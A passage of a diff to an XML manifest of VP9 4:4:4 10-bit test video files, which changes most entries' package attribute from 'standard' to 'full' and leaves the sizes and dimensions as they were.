+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_frmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88753,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87936,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87936,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88145,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88145,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88573,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88573,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=81015,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=81015,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=81314,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=81314,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88122,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88122,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88431,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88431,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88231,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88231,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88418,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88499,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=85665,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=85665,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=93353,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=93353,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87401,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=71231,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=71231,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_downScale_80_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_errRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=93187,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=93187,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_keyFrmOnly_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=438770,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=438770,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_lossless_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=26709339,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_noKeyFrm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_nonErrRes_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp0-10_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3750338,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38133,7 +38133,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=26709339,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp0-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp10-20_1x2.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1864448,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -38142,253 +38142,253 @@
     <value>mime=video/x-vnd.on2.vp9,size=996927,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp30-40_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=463932,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=463932,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=731519,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=731519,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp40-50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=205866,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=205866,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp50-63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=82952,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=82952,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_Qp63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18786,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18786,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp1_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88356,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88356,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp2_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88640,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88640,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp3_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88314,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88314,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88332,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88332,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp5_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88570,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88570,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp6_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88556,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88556,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_sharp7_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88291,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88291,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_skip5frm_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=79105,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=79105,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_100_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_20_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_upScale_50_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_noFrmPar_vbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=88402,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1024x1024p50f32_2000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=171266,width=1024,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=171266,width=1024,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1024x576p50f32_1100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=89066,width=1024,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=89066,width=1024,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1024x768p50f32_1500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=120564,width=1024,height=768,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=120564,width=1024,height=768,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1080x1440p50f32_3100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=285784,width=1080,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=285784,width=1080,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1080x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22009,width=1080,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22009,width=1080,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1080x1920p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=349638,width=1080,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=349638,width=1080,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1080x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20486,width=1080,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20486,width=1080,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1088x1920p50f32_4100kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=351844,width=1088,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=351844,width=1088,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1152x2048p50f32_4700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=402479,width=1152,height=2048,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=402479,width=1152,height=2048,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1280x1280p50f32_3200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=276544,width=1280,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=276544,width=1280,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1280x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21929,width=1280,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21929,width=1280,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1280x1920p50f32_4900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=424023,width=1280,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=424023,width=1280,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1280x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20846,width=1280,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20846,width=1280,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1280x720p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=146975,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=146975,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_1280x960p50f32_2400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=212018,width=1280,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=212018,width=1280,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_128x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22105,width=128,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22105,width=128,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_128x192p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21026,width=128,height=192,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21026,width=128,height=192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_128x72p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=24850,width=128,height=72,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=24850,width=128,height=72,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/resolution/crowd_128x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=26075,width=128,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
